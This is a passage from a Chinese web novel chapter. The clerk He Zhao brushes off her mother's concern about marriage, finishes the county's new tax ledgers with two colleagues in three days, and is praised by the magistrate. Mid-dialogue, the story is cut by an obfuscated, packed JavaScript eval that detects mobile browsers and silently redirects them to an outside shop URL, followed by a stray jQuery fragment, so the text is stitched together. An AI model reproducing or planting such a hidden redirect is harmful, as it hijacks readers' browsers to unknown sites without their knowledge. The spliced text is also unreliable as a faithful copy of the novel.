“什么,你怎么能一辈子不成婚!”
李氏脸上的笑意还未在脸上散去,便换上愕然的样子,用完全不能理解的眼神死死盯着何昭。
何昭只感觉到自己胸腔一紧,不能呼吸,好似被人勒住脖子一般,随即又浑身紧绷,只觉得李氏的视线如石块一般重重地压在身上。
何昭假装挑菜,僵硬地避开李氏的视线,有些讪讪地说道:“我就是是问问而已,娘,你不觉得现在只有我们母女俩的日子过得很好吗?”
“你个傻孩子,你在说什么胡话呢!”
李氏闻言,脸上的愕然散去,又换上笑意,轻轻地拍了下正在吃饭的何昭肩头:“你要是一直不成婚,到时候要变成孤魂野鬼不成。”
“变成孤魂野鬼也没什么不好的,自由自在的多好啊!”
“你今晚是怎么回事,怎么一直在胡说,是不是招到什么东西了!”
李氏的脸色瞬间变得严肃起来,直勾勾地盯着何昭。
何昭见李氏如此固执,便只能勉强露出笑意:“娘,你说什么呢,我可是衙门里的人,有什么东西敢招惹到我,我只是觉得现在的日子过得挺好的!”
“不想有什么变化而已!”
“对了,娘,这些我都吃不下了,你先把它们都收起来,我明天早上再吃吧!”
李氏见何昭还是如往常一般的神情温和,嘴角边挂着微笑,便也彻底放下心来。
“好,那你早点休息,天气凉了,我用厚一点的木棉布给你新做了一件衣服,你明早记得换上!”
说罢,李氏便和何昭一起将饭菜都放入挎篮中,她便独自推门出去了。
第二天早上,何昭穿着新衣服从夜色里穿过祁县街上,从县衙大门偏房进去。
平日里点卯的院子只有稀疏几个人坐着。
看到何昭到来,众人都不约而同地站起身来,纷纷向何昭打招呼,把何昭簇拥在中间。
这期间,衙役众人陆陆续续地抵达,每来一个人便十分热情地同何昭打招呼。
何昭只觉得脸上笑得都僵硬了,又感觉太过高调,便坚持在角落处呆着。
点卯结束后,何昭以及周文和许典吏便回到偏房内。
三人刚刚坐下,许典吏和周文就把昨天新做好的新账册交给何昭检查。
何昭笑着仔细翻阅过后发现没有问题,又夸赞两人几句,三人便又开始默默整理账册。
等到何昭将手里的账册都整理清楚,终于吐出一口气,只感觉到整个人都轻松了不少。
她偶然瞥过窗棂,见到外面阳光正好的洒在院子里的绿植上面,温暖明媚。
何昭不由得嘴角上扬,露出一抹浅笑。
这时,偏房门外突然传来一阵急促的脚步声。
何昭三人都很诧异,便见下一刻偏房门被人从外面直接推开,王勇憨笑着出现在三人面前,手里还抱着一些旧账册。
王勇兴奋激动的视线直直落在何昭身上,他顾不得跟偏房内的其他两人打招呼,直接便朝何昭高兴地喊道:“郎君,郎君,里正果然带着好几车粮食来主动跟宋大人认错了!”
何昭也十分高兴:“你怎么会知道?”说着,她的视线又放到王勇手里抱着的那一摞旧账册,脸上的笑意更加浓厚了几分,“你手里是大李村那三个村的旧账册吗?”
王勇笑着连连点头,正要把手里的账册都递给何昭,却见得眼前突然伸出一双手来——原来是脸上同样很兴奋的周文。
何昭见此,立即笑着吩咐王勇:“那王大哥,你先把这些旧账册都交给许典吏和周叔两人保管,给我详细说一下这件事。”
何昭的话语刚落,王勇便笑着把手里的账册都递给许典吏和周文手上,上前几步,就来到何昭的书桌前。
他一脸憨笑,脸上露出明显的惊喜激动之色,对着何昭的视线,不好意思地挠了挠头才道:“郎君,今天轮班,恰好轮到我跟另外两个兄弟守在大堂外面!”
“我一眼就看到里正带着大批粮食来县衙,然后就看到宋大人让里正进了正房,接着便听到里正向宋大人请罪,并主动愿意把粮税亏空填平,同时还把代表里正的印信交给了宋大人。”
“不久后,宋大人便唤人进去,说要把旧账册送过来,我便自告奋勇就来了。”
王勇说完,又是露出一脸憨笑的样子。
何昭也笑着点了点头:“那便好,有了这些旧账册,我们应该明天就可以把所有的新账册都做好了!”
她的话语刚落,许典吏以及周文两人也十分高兴地点了点头。
“那郎君,没什么事,我就先回去了!”
“好,王大哥,谢谢你!”
“嘿,郎君说这些没用的话干啥,那我就先回去,不打扰你们整理账册了。”
说罢,王勇便一脸高兴地退了出去。
而等到偏房的门关上,何昭看了看面露喜色的许典吏和周文两人,笑着道:“昨天我已经核对过下游村的旧账册无误,我们只需要把旧账册的数据全部都记录到新账册上面就行!”
“既然现在王大哥又已经把大李村、小李村以及石板村这三个村的旧账册都已经送来,那我们三人今天便加紧时间,最好能明天就把所有的新账册呈给宋大人!”
“这样的话,我相信许典吏和周叔一定会被宋大人牢牢记住的!”
何昭的话语刚落,便见许典吏和周文两人的眼神都十分明亮,脸上都神采奕奕的样子。
两人也不含糊,直接笑着朝何昭点点头。
何昭见此,便吩咐三人各自理清楚一个村的账册。
于是,接下来整个偏房内就只剩下毛笔在纸上划过的沙沙声。
时间一点一点地过去,落日的余晖也已经洒在远方的山角上面,好像给山角也披上了一件薄如蝉翼的浅黄色薄纱一般。
这时候,许典吏和周文两人相继面色喜悦地站了起来,各自将手里做好的新账册都交给何昭检查。
何昭早就等待他们多时,立即就接过两人递来的新账册,仔细翻阅后,无一错处。
何昭将手中的账册合上,对着两人行了一礼:“多谢二位这段时间的尽心竭力,这才能在最短的时间将所有的新账册都全部做好,何昭在这里谢过二位了!”
“何书办客气了,这也是我们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941601|213911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
分内之事!”
周文笑呵呵地开口道。
许典吏虽然没有开口,但脸上也明显是赞同周文所说。
于是,三人便相视一笑,眼神中都闪过对明天的期待。
到了第二天,何昭三人拿着新账册去正房求见县太爷。
县太爷宋志文心里有了预感,一脸激动兴奋地便让三人进来。
果然,宋志文在看到何昭三人呈上的新账册,不由得直接笑了出来。
“卑职幸不辱命,已经和许典吏和周书办三人合力将整个祁县的秋税新账册都已经整理出来,特来献给大人!还请大人过目。”
何昭躬身上前,将手里的新账册都呈到宋志文的案前。
宋志文一脸兴奋朝着何昭挥了挥手,示意让何昭退到一边,他便再也顾不得再说些什么,迫不及待地将这些新账册一页页地翻看查看。
何昭退下去,跟许典吏以及周文两人站在一起。
随着一页页纸张被翻开的声音,县太爷宋志文的脸上也愈发高兴,直至翻到最后一页。
宋志文再也压抑不住,直接便开怀大笑起来,这爽朗的笑声如同浪潮一般一次次地在屋内回荡。
“好,好,好,何昭,本官给你十天时间,你却在三天之内就呈了上来!”
“不愧是本官看重的人才,等到秋税彻底结束,本官要好好地设宴,专门奖赏你一次!”
“多谢大人看重,都是大人教导的好,何昭才能和两位同僚一起完成大人的任务。”
“嗯,嗯,还有许慎和周文,你们二人专心辅助何昭,共同完成这些新账册也有功劳,到时候,本官一定大大奖赏你们三人。”
“多谢大人!”
何昭与身旁两人都异口同声地喊道。
于是,宋志文便笑着让三人都退了下去。
偏房内,与往日的静谧不同,此刻正是一片欢声笑语。
原来是何昭三人正在十分开心地畅所欲言。
“这次的事情真是多谢何书办了!”
周文笑眯眯地对着何昭抱拳行礼道。
“是啊,这次的事情真的多谢你了。”
一直沉默寡言又倨傲的许典吏此刻也满脸笑容地对何昭说道。
何昭对上两人真挚的眼神,不由得脸上挂笑,也对着两人抱拳行礼道:“何昭自知年龄尚小,除了有几个还算得上机灵的小点子以外,便没有其他长处。此番多谢二位鼎力相助,才能把新账册全部做完。接下来县衙的事情还多着,若是何昭遇上有不懂不会的问题,还请两位到时候不吝赐教啊。”
“哈哈,那是当然!”
何昭话音刚落,周文和许典吏不由得脸上的笑意更甚,直接一口答应何昭的请求道。
于是,偏房内的气氛越发和谐。
而三人在说笑一阵后,又不免将话题又带到了新账册上面。
“何书办,你这个脑子真是灵光啊!不过在记录新账册的时候,我每次算账册里面的总账的时候,总是还要一页页翻过去,稍微有点麻烦。我总想着,若是还有其他的方式就好了,可以一眼就把粮税的变化看得一清二楚就好了!”